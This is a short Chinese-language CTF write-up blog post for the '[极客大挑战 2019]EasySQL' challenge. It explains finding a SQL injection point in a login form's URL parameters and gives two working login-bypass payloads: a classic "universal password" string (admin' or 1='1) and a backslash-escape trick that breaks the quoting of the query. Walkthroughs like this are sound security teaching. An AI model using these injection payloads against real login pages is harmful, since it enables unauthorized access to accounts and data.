March 2, 2023

[极客大挑战 2019]EasySQL

页面概况

image-20221007162621679

一个登入界面,随便输入一串数字:

image-20221007163355046

在这个页面可以看到存在一些URL参数,这里应该就是sql注入点了

解题

image-20221007163640829

传入单引号发现有报错,那肯定就是sql注入了,这边经过测试发现查询语句应该是

1
select flag from xxx where username=''and password=''		

解法一:(万能密码)

用一下万能密码就可以成功登入了,payload:

?username=admin' or 1='1&password=admin' or 1='1

image-20221007164011020

解法二:(转义)

转义单引号,在usernmae一栏输入\,然后就会形成:

1
username='and password=

这种情况,之后在password输入or 1='1

payload:?username=\&password=or 1='1

image-20221007164154389

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#RCE